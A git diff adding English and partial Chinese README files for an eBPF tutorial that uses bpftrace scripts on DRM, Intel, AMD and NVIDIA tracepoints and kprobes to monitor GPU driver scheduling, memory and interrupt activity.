/dev/null +++ b/src/xpu/gpu-kernel-driver/README.md @@ -0,0 +1,415 @@ +# eBPF Tutorial by Example: Monitoring GPU Driver Activity with Kernel Tracepoints + +When games stutter or ML training slows down, the answers lie inside the GPU kernel driver. Linux kernel tracepoints expose real-time job scheduling, memory allocation, and command submission data. Unlike userspace profiling tools that sample periodically and miss events, kernel tracepoints catch every operation with nanosecond timestamps and minimal overhead. + +This tutorial shows how to monitor GPU activity using eBPF and bpftrace. We'll track DRM scheduler jobs, measure latency, and diagnose bottlenecks using stable kernel tracepoints that work across Intel, AMD, and Nouveau drivers. + +> The complete source code: + +## GPU Kernel Tracepoints: Zero-Overhead Observability + +GPU tracepoints are instrumentation points built into the kernel's Direct Rendering Manager (DRM) subsystem. When your GPU schedules a job, allocates memory, or signals a fence, these tracepoints fire with precise timing and driver state. + +The key insight: kernel tracepoints activate only when events occur, adding nanoseconds of overhead per event. They capture 100% of activity including microsecond-duration jobs. Polling-based monitoring checks GPU state every 100ms and misses short-lived operations entirely. + +GPU tracepoints span three layers. DRM scheduler tracepoints (`gpu_scheduler` event group) are stable uAPI; their format never changes. They work identically across Intel, AMD, and Nouveau drivers for vendor-neutral monitoring. Vendor-specific tracepoints expose driver internals. Intel i915 tracks GEM object creation and VMA binding, while AMD AMDGPU monitors buffer objects and command submission. Generic DRM tracepoints handle display synchronization through vblank events for diagnosing frame drops. + +## DRM Scheduler Monitor: Universal GPU Tracking + +The `drm_scheduler.bt` script works on **all GPU drivers** because it uses stable uAPI tracepoints. It tracks job submission (`drm_run_job`), completion (`drm_sched_process_job`), and dependency waits (`drm_sched_job_wait_dep`) across all rings. + +### Complete Bpftrace Script: drm_scheduler.bt + +```c +#!/usr/bin/env bpftrace +/* + * drm_scheduler.bt - Monitor DRM GPU scheduler activity + * + * This script tracks GPU job scheduling using stable DRM scheduler tracepoints. + * Works across ALL modern GPU drivers (Intel i915, AMD AMDGPU, Nouveau, etc.) + * + * The gpu_scheduler tracepoints are stable uAPI - guaranteed not to change. + * + * Usage: sudo bpftrace drm_scheduler.bt + */ + +BEGIN +{ + printf("Tracing DRM GPU scheduler... Hit Ctrl-C to end.\n"); + printf("%-18s %-12s %-16s %-12s %-8s %s\n", + "TIME(ms)", "EVENT", "JOB_ID", "RING", "QUEUED", "DETAILS"); +} + +/* GPU job starts executing */ +tracepoint:gpu_scheduler:drm_run_job +{ + $job_id = args->id; + $ring = str(args->name); + $queue = args->job_count; + $hw_queue = args->hw_job_count; + + /* Record start time for latency calculation */ + @start[$job_id] = nsecs; + + printf("%-18llu %-12s %-16llu %-12s %-8u hw=%d\n", + nsecs / 1000000, + "RUN", + $job_id, + $ring, + $queue, + $hw_queue); + + /* Track per-ring statistics */ + @jobs_per_ring[$ring] = count(); +} + +/* GPU job completes (fence signaled) */ +tracepoint:gpu_scheduler:drm_sched_process_job +{ + $fence = args->fence; + + printf("%-18llu %-12s %-16p\n", + nsecs / 1000000, + "COMPLETE", + $fence); + + @completion_count = count(); +} + +/* Job waiting for dependencies */ +tracepoint:gpu_scheduler:drm_sched_job_wait_dep +{ + $job_id = args->id; + $ring = str(args->name); + $dep_ctx = args->ctx; + $dep_seq = args->seqno; + + printf("%-18llu %-12s %-16llu %-12s %-8s ctx=%llu seq=%u\n", + nsecs / 1000000, + "WAIT_DEP", + $job_id, + $ring, + "-", + $dep_ctx, + $dep_seq); + + @wait_count = count(); + @waits_per_ring[$ring] = count(); +} + +END +{ + printf("\n=== DRM Scheduler Statistics ===\n"); + printf("\nJobs per ring:\n"); + print(@jobs_per_ring); + printf("\nWaits per ring:\n"); + print(@waits_per_ring); +} +``` + +### Understanding the Script + +The script attaches to three stable DRM scheduler tracepoints. When `drm_run_job` fires, a job transitions from "queued in software" to "running on silicon." The tracepoint captures `args->id` (job ID for correlation), `args->name` (ring name indicating which execution engine like graphics, compute, or video decode), `args->job_count` (queue depth indicating how many jobs are waiting), and `args->hw_job_count` (jobs currently executing on GPU hardware). + +The format `entity=0xffff888... id=12345 fence=0xffff888... ring=gfx job count:5 hw job count:2` tells you job 12345 on the graphics ring started executing with 5 jobs queued behind it and 2 jobs currently running on hardware. Multi-engine GPUs can run jobs in parallel across different rings. + +We record `@start[$job_id] = nsecs` to enable latency calculation. The script stores the timestamp keyed by job ID. Later, when tracking completion or measuring end-to-end latency, you can compute `nsecs - @start[$job_id]` to get execution time. The `@jobs_per_ring[$ring] = count()` line increments per-ring counters, showing workload distribution across engines. + +When `drm_sched_process_job` fires, GPU hardware completed a job and signaled its fence. The fence pointer `args->fence` identifies the completed job. Correlating fence pointers between `drm_run_job` and this tracepoint lets you calculate GPU execution time: `completion_time - run_time = GPU_execution_duration`. If jobs that should take 5ms are taking 50ms, you've found a GPU performance problem. + +The `drm_sched_job_wait_dep` tracepoint fires when a job blocks waiting for a fence. Before a job executes, its dependencies (previous jobs it waits for) must complete. The format shows `args->ctx` (dependency context) and `args->seqno` (sequence number) identifying which fence blocks this job. + +This reveals pipeline stalls. If compute jobs constantly wait for graphics jobs, you're not exploiting parallelism. Long wait times suggest dependency chains are too deep - consider batching independent work. Excessive dependencies indicate CPU-side scheduling inefficiency. The `@waits_per_ring[$ring] = count()` metric tracks which rings experience the most dependency stalls. + +At program end, the `END` block prints statistics. `@jobs_per_ring` shows job counts per execution engine - revealing if specific rings (video encode, compute) are saturated. `@waits_per_ring` exposes dependency bottlenecks. This data reveals overall GPU utilization patterns and whether jobs are blocked by dependencies. + +## Intel i915 Tracepoints: Memory Management Deep Dive + +Intel's i915 driver exposes detailed tracepoints for memory operations. These require `CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS=y` in your kernel config; check with `grep CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS /boot/config-$(uname -r)`. + +i915_gem_object_create fires when the driver allocates a GEM (Graphics Execution Manager) object, the fundamental unit of GPU-accessible memory. Format: `obj=0xffff888... size=0x100000` indicates allocating a 1MB object. Track total allocated memory over time to detect leaks. Sudden allocation spikes before performance drops suggest memory pressure. Correlate object pointers with subsequent bind/fault events to understand object lifecycle. + +i915_vma_bind tracks mapping memory into GPU address space. Allocating memory isn't enough; it must be bound into GPU virtual address space. Format: `obj=0xffff888... offset=0x0000100000 size=0x10000 mappable vm=0xffff888...` shows 64KB bound at GPU virtual address 0x100000. Frequent rebinding indicates memory thrashing, where the driver evicts and rebinds objects under pressure. GPU page faults often correlate with bind operations. + +i915_gem_shrink captures memory pressure response. Under memory pressure, the driver reclaims GPU memory. Format: `dev=0 target=0x1000000 flags=0x3` means the driver tries to reclaim 16MB. High shrink activity indicates undersized GPU memory for the workload. Correlate with performance drops; if shrinking happens during frame rendering, it causes stutters. + +i915_gem_object_fault tracks page faults when CPU or GPU accesses unmapped memory. Format: `obj=0xffff888... GTT index=128 writable` indicates a write fault on Graphics Translation Table page 128. Faults are expensive because they stall execution while the kernel resolves the missing mapping. Write faults are more expensive than reads since they require invalidating caches. GTT faults indicate incomplete resource binding before job submission. + +## AMD AMDGPU Tracepoints: Command Submission Pipeline + +AMD's AMDGPU driver provides comprehensive tracing of command submission and hardware interrupts. + +amdgpu_cs_ioctl captures userspace command submission. When an application submits GPU work via ioctl, this tracepoint fires. Format: `sched_job=12345 timeline=gfx context=1000 seqno=567 ring_name=gfx_0.0.0 num_ibs=2` shows job 12345 submitted to graphics ring with 2 indirect buffers. This marks when userspace hands off work to kernel. Record timestamp to measure submission to execution latency when combined with `amdgpu_sched_run_job`. High frequency indicates small batches and potential for better batching. + +amdgpu_sched_run_job fires when the kernel scheduler starts executing a previously submitted job. Comparing timestamps with `amdgpu_cs_ioctl` reveals submission latency. Submission latencies over 100μs indicate kernel scheduling delays. Per-ring latencies show if specific engines are scheduling-bound. + +amdgpu_bo_create tracks buffer object allocation, AMD's equivalent to i915 GEM objects. Format: `bo=0xffff888... pages=256 type=2 preferred=4 allowed=7 visible=1` allocates 1MB (256 pages). Type indicates VRAM vs GTT (system memory accessible by GPU). Preferred/allowed domains show placement policy. Type mismatches where VRAM is requested but GTT is used indicate VRAM exhaustion. Visible flag indicates CPU-accessible memory, which is expensive and should be used sparingly. + +amdgpu_bo_move fires when buffer objects migrate between VRAM and GTT. Migrations are expensive because they require copying data over PCIe. Excessive moves indicate memory thrashing where the working set exceeds VRAM capacity. Measure move frequency and size to quantify PCIe bandwidth consumption. Correlate with performance drops since migrations stall GPU execution. + +amdgpu_iv captures GPU interrupts. The GPU signals interrupts for completed work, errors, and events. Format: `ih:0 client_id:1 src_id:42 ring:0 vmid:5 timestamp:1234567890 pasid:100 src_data: 00000001...` captures interrupt details. Source ID indicates interrupt type (completion, fault, thermal). High interrupt rates impact CPU performance. VMID and PASID identify which process/VM triggered the interrupt, which is critical for multi-tenant debugging. + +## DRM Vblank Tracepoints: Display Synchronization + +Vblank (vertical blanking) events synchronize rendering with display refresh. Missing vblanks causes dropped frames and stutter. + +drm_vblank_event fires when the display enters vertical blanking period. Format: `crtc=0 seq=12345 time=1234567890 high-prec=true` indicates vblank on display controller 0, sequence number 12345. Track vblank frequency to verify refresh rate (60Hz = 60 vblanks/second). Missed sequences indicate frame drops. High-precision timestamps enable sub-millisecond frame timing analysis. + +drm_vblank_event_queued and drm_vblank_event_delivered track vblank event delivery to userspace. Queuing latency (queue to delivery) measures kernel scheduling delay. Total latency (vblank to delivery) includes both kernel and driver processing. Latencies over 1ms indicate compositor problems. Correlate with frame drops visible to users since events delivered late mean missed frames. + +## NVIDIA Proprietary Driver: Different Architecture + +Unlike Intel, AMD, and Nouveau which use the kernel's Direct Rendering Manager (DRM) subsystem, NVIDIA's proprietary driver (nvidia.ko) operates outside DRM. It implements its own kernel module interface with vendor-specific functions and a single tracepoint. This architectural difference means NVIDIA GPUs require different monitoring approaches; we attach to kernel probes on nvidia.ko functions instead of DRM tracepoints. + +The key distinction: DRM drivers expose standardized `gpu_scheduler` tracepoints that work identically across vendors. NVIDIA's closed-source driver provides only one tracepoint (`nvidia:nvidia_dev_xid` for hardware errors) and requires monitoring internal kernel functions like `nvidia_open`, `nvidia_unlocked_ioctl`, and `nvidia_isr`. This makes NVIDIA monitoring more fragile since function names can change between driver versions, but it still provides valuable insights into GPU activity. + +### NVIDIA Driver Monitoring: nvidia_driver.bt + +The `nvidia_driver.bt` script tracks NVIDIA GPU operations through kernel probes on the proprietary driver. Unlike DRM scheduler monitoring which is vendor-neutral, this script is NVIDIA-specific and requires the proprietary nvidia.ko module loaded. + +The script monitors six key areas: +- **Device operations**: Tracks when processes open/close GPU devices and issue ioctl commands +- **Memory management**: Records mmap operations, page faults, and VMA lifecycle +- **Interrupt handling**: Measures ISR latency from hardware interrupt to processing +- **P2P communication**: Captures GPU-to-GPU page requests and DMA mapping +- **Power management**: Times suspend/resume cycles +- **Error reporting**: Reports Xid hardware/driver errors immediately + +### Complete Bpftrace Script: scripts/nvidia_driver.bt + +```c +#!/usr/bin/env bpftrace +/* nvidia_driver.bt - Monitor NVIDIA proprietary GPU driver activity */ + +BEGIN +{ + printf("Tracing NVIDIA GPU driver activity... Hit Ctrl-C to end.\n"); + printf("%-12s %-18s %-16s %-8s %-8s %-20s\n", + "TIME(ms)", "EVENT", "COMM", "PID", "GPU_ID", "DETAILS"); +} + +kprobe:nvidia_open +{ + printf("%-12llu %-18s %-16s %-8d %-8s %s\n", + elapsed / 1000000, "OPEN", comm, pid, "-", "GPU device opened"); + @opens[comm] = count(); + @open_pids[pid] = 1; +} + +kprobe:nvidia_unlocked_ioctl +{ + @ioctl_count = count(); + @ioctls_per_process[comm] = count(); + if (rand % 100 == 0) { /* Sample 1% */ + printf("%-12llu %-18s %-16s %-8d %-8s cmd=0x%lx\n", + elapsed / 1000000, "IOCTL", comm, pid, "-", arg1); + } +} + +kprobe:nvidia_mmap +{ + @mmap_count = count(); + @total_mmap_bytes = sum(arg2); + printf("%-12llu %-18s %-16s %-8d %-8s offset=0x%lx size=%lu\n", + elapsed / 1000000, "MMAP", comm, pid, "-", arg1, arg2); +} + +kprobe:nvidia_isr +{ + @isr_count = count(); + @last_isr_time = nsecs; +} + +kprobe:nvidia_isr_kthread_bh +{ + @isr_bh_count = count(); + if (@last_isr_time > 0) { + @isr_latency_us = hist((nsecs - @last_isr_time) / 1000); + } +} + +tracepoint:nvidia:nvidia_dev_xid +{ + printf("\n!!! GPU ERROR !!!\n"); + printf(" └─ Xid: %u - %s\n\n", args->error_code, str(args->msg)); + @xid_errors = count(); + @xid_codes[args->error_code] = count(); +} + +END +{ + printf("\n=== NVIDIA GPU Driver Statistics ===\n"); + printf("Opens by process:\n"); print(@opens); + printf("Total ioctls:\n"); print(@ioctl_count); + printf("Top ioctl callers:\n"); print(@ioctls_per_process); + printf("Total mmaps:\n"); print(@mmap_count); + printf("Poll calls:\n"); print(@poll_count); +} +``` + +### Understanding NVIDIA Driver Operations + +Device Operations: `nvidia_open` fires when a process opens `/dev/nvidia0` (or other GPU device nodes). This is the entry point for GPU access. CUDA applications, OpenGL contexts, and compute workloads all start here. Track `@opens[comm]` to see which applications use the GPU. Each open usually corresponds to a CUDA context or graphics context creation. + +IOCTL Commands: `nvidia_unlocked_ioctl` is the highest-frequency operation. Every GPU command submission, memory allocation, synchronization, and query goes through ioctls. A single frame of graphics rendering may issue hundreds of ioctls. The script samples 1% of ioctls to reduce overhead while maintaining visibility. High ioctl rates (>100k/sec) indicate fine-grained GPU interactions and potential for better batching. The `arg1` parameter contains the ioctl command code identifying the operation type. + +Memory Mapping: `nvidia_mmap` maps GPU memory into process virtual address space, enabling CPU access to GPU buffers. Format `offset=0x100000 size=1048576` maps 1MB of GPU memory. Track `@total_mmap_bytes` to understand GPU memory usage. Frequent large mmaps may indicate CPU-GPU data transfer patterns. Unified memory (CUDA managed memory) triggers extensive mmap activity as the driver migrates pages between CPU and GPU. + +Page Faults: `nvidia_fault` captures expensive events when CPU or GPU accesses unmapped memory. Page faults stall execution while the driver resolves the mapping. High fault counts indicate unified memory page migration under memory pressure, incomplete memory binding before kernel launch, or CPU accessing GPU memory without proper mapping. Correlate faults with performance drops. Faults during critical sections (kernel execution) directly impact throughput. + +Interrupt Handling: `nvidia_isr` fires when the GPU signals an interrupt, typically for completed work, errors, or synchronization events. Modern GPUs use MSI-X interrupts for lower latency. The bottom-half handler (`nvidia_isr_kthread_bh`) performs the actual work processing. ISR latency (time from hardware interrupt to bottom-half processing) indicates kernel scheduling efficiency. High ISR rates (>10k/sec) may impact CPU performance since each interrupt costs CPU cycles. + +P2P Transfers: `nvidia_p2p_get_pages` and `nvidia_p2p_dma_map_pages` enable direct GPU-to-GPU transfers over NVLink or PCIe without CPU involvement. Multi-GPU workloads (distributed training, GPU clusters) rely on P2P for high bandwidth. Track P2P operations to verify GPU-GPU communication is working. Missing P2P support (older PCIe configurations) forces slower CPU-mediated transfers. + +Xid Errors: The `nvidia:nvidia_dev_xid` tracepoint is NVIDIA's only exposed tracepoint. Xid errors indicate hardware problems (GPU faults, memory errors, thermal issues) or driver bugs. Common Xids include Xid 31 (GPU memory page fault), Xid 43 (GPU stopped responding/hang), Xid 45 (GPU memory ECC error), and Xid 79 (GPU fell off the bus/PCIe error). Any Xid error requires investigation since they often precede crashes or data corruption. + +### Running NVIDIA Driver Monitor + +Verify NVIDIA driver is loaded and check available probes: + +```bash +# Check NVIDIA driver module +lsmod | grep nvidia + +# List available NVIDIA probes +sudo bpftrace -l 'kprobe:nvidia_*' | head -20 +sudo bpftrace -l 'tracepoint:nvidia:*' +``` + +Run the monitor during GPU workloads: + +```bash +cd bpf-developer-tutorial/src/xpu/gpu-kernel-driver +sudo bpftrace scripts/nvidia_driver.bt +``` + +**Real execution output** capturing llama-server (LLM inference), nvtop (GPU monitoring), and CUDA application cleanup: + +``` +Attaching 18 probes... +Tracing NVIDIA GPU driver activity... Hit Ctrl-C to end. +TIME(ms) EVENT COMM PID GPU_ID DETAILS +2627 IOCTL nvtop 759434 - cmd=0xc020462a +38984 CLOSE python 783815 - GPU device closed +70693 CLOSE cuda00001400006 781802 - GPU device closed +72427 OPEN llama-server 800150 - GPU device opened +72427 CLOSE llama-server 800150 - GPU device closed +72427 OPEN llama-server 800150 - GPU device opened +72428 OPEN llama-server 800150 - GPU device opened +72431 MMAP llama-server 800150 - offset=0xffff968357d37140 size=... +72448 OPEN llama-server 800150 - GPU device opened +72458 OPEN llama-server 800150 - GPU device opened +... (39 opens, 26 mmaps from llama-server during initialization) + +======================================== + NVIDIA GPU Driver Statistics +======================================== + +--- Device Operations --- +Opens by process: +@opens[llama-server]: 39 + +Closes by process: +@closes[llama-server]: 1 +@closes[python]: 8 +@closes[cuda00001400006]: 38 + +Total ioctls: +@ioctl_count: 2779 +Top ioctl callers: +@ioctls_per_process[llama-server]: 422 +@ioctls_per_process[nvtop]: 2357 + +Total mmaps: +@mmap_count: 26 +Total mmap bytes: +@total_mmap_bytes: 18446744046197555104 + +--- Memory Management --- +Total page faults: +@fault_count: 0 +VMA releases: +@vma_release_count: 29 + +--- Interrupt Handling --- +Total ISR calls: +@isr_count: 0 + +--- Async Operations --- +Poll calls: +@poll_count: 24254 + +Currently open PIDs: +@open_pids[800150]: 1 +``` + +**Analysis**: This real-world trace reveals several patterns. The llama-server process opened the GPU device 39 times during initialization - typical for LLM inference engines that initialize multiple CUDA contexts for different model layers or batching strategies. The 422 ioctls from llama-server indicate active inference work. The nvtop monitoring tool issued 2,357 ioctls polling GPU state. The script captured 38 device closes from a terminating CUDA application (cuda00001400006) and 8 from a Python process - showing cleanup patterns. The 24,254 poll calls indicate high async I/O activity from monitoring tools. Zero page faults suggests all memory was properly pre-allocated. Zero ISR events during this capture window indicates the GPU was between computation batches - ISRs fire when GPU work completes. No Xid errors means healthy hardware operation. The currently-open PID 800150 (llama-server) remained active after the trace ended. + +## Running the Monitor Scripts + +Navigate to the tutorial directory and run the appropriate monitor for your GPU. + +**For DRM-based GPUs (Intel, AMD, Nouveau)** - Universal monitoring: + +```bash +cd bpf-developer-tutorial/src/xpu/gpu-kernel-driver +sudo bpftrace scripts/drm_scheduler.bt +``` + +**For NVIDIA Proprietary Driver**: + +```bash +cd bpf-developer-tutorial/src/xpu/gpu-kernel-driver +sudo bpftrace scripts/nvidia_driver.bt +``` + +Expected output: + +``` +Tracing DRM GPU scheduler... Hit Ctrl-C to end. +TIME(ms) EVENT JOB_ID RING QUEUED DETAILS +296119090 RUN 12345 gfx 5 hw=2 +296120190 COMPLETE 0xffff888... + +=== DRM Scheduler Statistics === + +Jobs per ring: +@jobs_per_ring[gfx]: 1523 +@jobs_per_ring[compute]: 89 + +Waits per ring: +@waits_per_ring[gfx]: 12 +``` + +Graphics jobs dominate (1523 vs 89 compute jobs). Few dependency waits (12) indicate good pipeline parallelism. For Intel GPUs, use `intel_i915.bt`. For AMD GPUs, use `amd_amdgpu.bt`. For display timing, use `drm_vblank.bt`. Run these during GPU workloads (gaming, ML training, video encoding) to capture activity patterns. + +Verify tracepoints exist on your system before running scripts: + +```bash +# All GPU tracepoints +sudo cat /sys/kernel/debug/tracing/available_events | grep -E '(gpu_scheduler|i915|amdgpu|^drm:)' +``` + +## Limitations: Kernel Tracing vs GPU-Side Observability + +This tutorial focuses on kernel-side GPU driver tracing, which provides visibility into job scheduling, memory management, and driver-firmware communication. However, kernel tracepoints have fundamental limitations. When `drm_run_job` fires, we know a job started executing on GPU hardware, but we cannot observe what happens inside the GPU itself. The execution of thousands of parallel threads, their memory access patterns, branch divergence, warp occupancy, and instruction-level behavior remain invisible. These details are critical for understanding performance bottlenecks - whether memory coalescing is failing, whether thread divergence is killing efficiency, or whether shared memory bank conflicts are stalling execution. + +To achieve fine-grained GPU observability, eBPF programs must run directly on the GPU. This is the direction explored by the eGPU paper and [bpftime GPU examples](https://github.com/eunomia-bpf/bpftime/tree/master/example/gpu). bpftime converts eBPF bytecode to PTX instructions that GPUs can execute, then dynamically patches CUDA binaries at runtime to inject these eBPF programs at kernel entry/exit points. This enables observing GPU-specific information like block indices, thread indices, global timers, and warp-level metrics. Developers can instrument critical paths inside GPU kernels to measure execution behavior and diagnose complex performance issues that kernel-side tracing cannot reach. This GPU-internal observability complements kernel tracepoints - together they provide end-to-end visibility from API calls through kernel drivers to GPU execution. + +## Summary + +GPU kernel tracepoints provide zero-overhead visibility into driver internals. DRM scheduler's stable uAPI tracepoints work across all vendors for production monitoring. Vendor-specific tracepoints expose detailed memory management and command submission pipelines. The bpftrace script demonstrates tracking job scheduling, measuring latency, and identifying dependency stalls - all critical for diagnosing performance issues in games, ML training, and cloud GPU workloads. For GPU-internal observability beyond kernel tracing, explore bpftime's GPU eBPF capabilities. + +> If you'd like to dive deeper into eBPF, check out our tutorial repository at or visit our website at . + +## References + +- **Linux Kernel Source**: `/drivers/gpu/drm/` +- **DRM Scheduler**: `/drivers/gpu/drm/scheduler/gpu_scheduler_trace.h` +- **Intel i915**: `/drivers/gpu/drm/i915/i915_trace.h` +- **AMD AMDGPU**: `/drivers/gpu/drm/amd/amdgpu/amdgpu_trace.h` +- **Generic DRM**: `/drivers/gpu/drm/drm_trace.h` +- **Kernel Tracepoint Documentation**: `Documentation/trace/tracepoints.rst` +- **Tutorial Repository**: + +Complete source code including all bpftrace scripts and test cases is available in the tutorial repository. Contributions and issue reports welcome! diff --git a/src/xpu/gpu-kernel-driver/README.zh.md b/src/xpu/gpu-kernel-driver/README.zh.md new file mode 100644 index 00000000..cb4c60b8 --- /dev/null +++ b/src/xpu/gpu-kernel-driver/README.zh.md @@ -0,0 +1,314 @@ +# eBPF 实例教程:使用内核跟踪点监控 GPU 驱动活动 + +当游戏卡顿或机器学习训练变慢时,答案就隐藏在 GPU 内核驱动内部。Linux 内核跟踪点暴露了实时的作业调度、内存分配和命令提交数据。与周期性采样并错过事件的用户空间分析工具不同,内核跟踪点以纳秒级时间戳和最小开销捕获每个操作。 + +本教程展示如何使用 eBPF 和 bpftrace 监控 GPU 活动。我们将跟踪 DRM 调度器作业、测量延迟,并使用跨 Intel、AMD 和 Nouveau 驱动工作的稳定内核跟踪点诊断瓶颈。 + +## GPU 内核跟踪点:零开销可观测性 + +GPU 跟踪点是内核直接渲染管理器(DRM)子系统中内置的仪器点。当 GPU 调度作业、分配内存或发出栅栏信号时,这些跟踪点会以精确的时序和驱动状态触发。 + +关键洞察:内核跟踪点仅在事件发生时激活,每个事件添加纳秒级开销。它们捕获 100% 的活动,包括微秒级持续时间的作业。基于轮询的监控每 100ms 检查一次 GPU 状态,完全错过短期操作。 + +GPU 跟踪点跨越三层。DRM 调度器跟踪点(`gpu_scheduler` 事件组)是稳定的 uAPI,格式永不改变。它们在 Intel、AMD 和 Nouveau 驱动上工作完全相同,适合供应商中立的监控。供应商特定跟踪点暴露驱动内部。Intel i915 跟踪 GEM 对象创建和 VMA 绑定,而 AMD AMDGPU 监控缓冲对象和命令提交。通用 DRM 跟踪点通过 vblank 事件处理显示同步,用于诊断丢帧。 + +## DRM 调度器监视器:通用 GPU 跟踪 + +`drm_scheduler.bt` 脚本在**所有 GPU 驱动**上工作,因为它使用稳定的 uAPI 跟踪点。它跟踪作业提交(`drm_run_job`)、完成(`drm_sched_process_job`)和依赖等待(`drm_sched_job_wait_dep`)跨所有环。 + +### 完整的 Bpftrace 脚本:drm_scheduler.bt + +```c +#!/usr/bin/env bpftrace +/* + * drm_scheduler.bt - 监控 DRM GPU 调度器活动 + * + * 此脚本使用稳定的 DRM 调度器跟踪点跟踪 GPU 作业调度。 + * 适用于所有现代 GPU 驱动(Intel i915、AMD AMDGPU、Nouveau 等) + * + * gpu_scheduler 跟踪点是稳定的 uAPI - 保证不会改变。 + * + * 使用方法:sudo bpftrace drm_scheduler.bt + */ + +BEGIN +{ + printf("正在跟踪 DRM GPU 调度器... 按 Ctrl-C 结束。\n"); + printf("%-18s %-12s %-16s %-12s %-8s %s\n", + "时间(ms)", "事件", "作业ID", "环", "排队", "详情"); +} + +/* GPU 作业开始执行 */ +tracepoint:gpu_scheduler:drm_run_job +{ + $job_id = args->id; + $ring = str(args->name); + $queue = args->job_count; + $hw_queue = args->hw_job_count; + + /* 记录开始时间用于延迟计算 */ + @start[$job_id] = nsecs; + + printf("%-18llu %-12s %-16llu %-12s %-8u hw=%d\n", + nsecs / 1000000, + "RUN", + $job_id, + $ring, + $queue, + $hw_queue); + + /* 跟踪每个环的统计 */ + @jobs_per_ring[$ring] = count(); +} + +/* GPU 作业完成(栅栏已发出信号)*/ +tracepoint:gpu_scheduler:drm_sched_process_job +{ + $fence = args->fence; + + printf("%-18llu %-12s %-16p\n", + nsecs / 1000000, + "COMPLETE", + $fence); + + @completion_count = count(); +} + +/* 作业等待依赖 */ +tracepoint:gpu_scheduler:drm_sched_job_wait_dep +{ + $job_id = args->id; + $ring = str(args->name); + $dep_ctx = args->ctx; + $dep_seq = args->seqno; + + printf("%-18llu %-12s %-16llu %-12s %-8s ctx=%llu seq=%u\n", + nsecs / 1000000, + "WAIT_DEP", + $job_id, + $ring, + "-", + $dep_ctx, + $dep_seq); + + @wait_count = count(); + @waits_per_ring[$ring] = count(); +} + +END +{ + printf("\n=== DRM 调度器统计 ===\n"); + printf("\n每个环的作业数:\n"); + print(@jobs_per_ring); + printf("\n每个环的等待数:\n"); + print(@waits_per_ring); +} +``` + +### 理解脚本 + +脚本附加到三个稳定的 DRM 调度器跟踪点。当 `drm_run_job` 触发时,作业从"在软件中排队"转换为"在硅上运行"。跟踪点捕获 `args->id`(用于关联的作业 ID)、`args->name`(环名称 - 哪个执行引擎如图形、计算或视频解码)、`args->job_count`(队列深度 - 有多少作业在等待)和 `args->hw_job_count`(当前在 GPU 硬件上执行的作业)。 + +格式 `entity=0xffff888... id=12345 fence=0xffff888... ring=gfx job count:5 hw job count:2` 告诉你图形环上的作业 12345 开始执行,后面有 5 个作业排队,硬件上当前运行 2 个作业。多引擎 GPU 可以跨不同环并行运行作业。 + +我们记录 `@start[$job_id] = nsecs` 以启用延迟计算。脚本存储按作业 ID 键控的时间戳。稍后,在跟踪完成或测量端到端延迟时,你可以计算 `nsecs - @start[$job_id]` 以获得执行时间。`@jobs_per_ring[$ring] = count()` 行递增每个环的计数器,显示跨引擎的工作负载分布。 + +当 `drm_sched_process_job` 触发时,GPU 硬件完成了作业并发出其栅栏信号。栅栏指针 `args->fence` 标识已完成的作业。在 `drm_run_job` 和此跟踪点之间关联栅栏指针,让你可以计算 GPU 执行时间:`completion_time - run_time = GPU_execution_duration`。如果应该需要 5ms 的作业需要 50ms,你就发现了 GPU 性能问题。 + +`drm_sched_job_wait_dep` 跟踪点在作业阻塞等待栅栏时触发。在作业执行之前,其依赖项(它等待的先前作业)必须完成。格式显示 `args->ctx`(依赖上下文)和 `args->seqno`(序列号)标识哪个栅栏阻塞此作业。 + +这揭示了管道停顿。如果计算作业不断等待图形作业,你就没有利用并行性。长等待时间表明依赖链太深 - 考虑批处理独立工作。过度的依赖表示 CPU 端调度效率低下。`@waits_per_ring[$ring] = count()` 指标跟踪哪些环经历最多的依赖停顿。 + +程序结束时,`END` 块打印统计信息。`@jobs_per_ring` 显示每个执行引擎的作业计数 - 揭示特定环(视频编码、计算)是否饱和。`@waits_per_ring` 暴露依赖瓶颈。这些数据揭示了总体 GPU 利用率模式以及作业是否被依赖阻塞。 + +## Intel i915 跟踪点:内存管理深入分析 + +Intel 的 i915 驱动暴露了内存操作的详细跟踪点。这些需要内核配置中的 `CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS=y`,使用 `grep CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS /boot/config-$(uname -r)` 检查。 + +i915_gem_object_create 在驱动分配 GEM(图形执行管理器)对象时触发,这是 GPU 可访问内存的基本单位。格式:`obj=0xffff888... size=0x100000` 表示分配 1MB 对象。随时间跟踪总分配内存以检测泄漏。性能下降前的突然分配峰值表示内存压力。将对象指针与后续绑定/故障事件关联以了解对象生命周期。 + +i915_vma_bind 跟踪将内存映射到 GPU 地址空间。分配内存还不够,它必须绑定到 GPU 虚拟地址空间。格式:`obj=0xffff888... offset=0x0000100000 size=0x10000 mappable vm=0xffff888...` 显示在 GPU 虚拟地址 0x100000 处绑定的 64KB。频繁的重新绑定表示内存抖动,即驱动在压力下驱逐和重新绑定对象。GPU 页面故障通常与绑定操作相关。 + +i915_gem_shrink 捕获内存压力响应。在内存压力下,驱动回收 GPU 内存。格式:`dev=0 target=0x1000000 flags=0x3` 意味着驱动尝试回收 16MB。高收缩活动表示工作负载的 GPU 内存过小。与性能下降关联,如果在帧渲染期间发生收缩,会导致卡顿。 + +i915_gem_object_fault 跟踪 CPU 或 GPU 访问未映射内存时的页面故障。格式:`obj=0xffff888... GTT index=128 writable` 表示图形转换表页 128 上的写故障。故障代价昂贵,因为它们在内核解决缺失映射时停止执行。写故障比读故障更昂贵,因为需要使缓存失效。GTT 故障表示作业提交前资源绑定不完整。 + +## AMD AMDGPU 跟踪点:命令提交管道 + +AMD 的 AMDGPU 驱动提供命令提交和硬件中断的全面跟踪。 + +amdgpu_cs_ioctl 捕获用户空间命令提交。当应用通过 ioctl 提交 GPU 工作时,此跟踪点触发。格式:`sched_job=12345 timeline=gfx context=1000 seqno=567 ring_name=gfx_0.0.0 num_ibs=2` 显示提交到图形环的作业 12345 有 2 个间接缓冲区。这标志着用户空间将工作交给内核的时间。记录时间戳以在与 `amdgpu_sched_run_job` 结合时测量提交到执行的延迟。高频率表示小批次和更好批处理的潜力。 + +amdgpu_sched_run_job 在内核调度器开始执行先前提交的作业时触发。将时间戳与 `amdgpu_cs_ioctl` 比较可揭示提交延迟。超过 100μs 的提交延迟表示内核调度延迟。每个环的延迟显示特定引擎是否受调度限制。 + +amdgpu_bo_create 跟踪缓冲对象分配,这是 AMD 的 i915 GEM 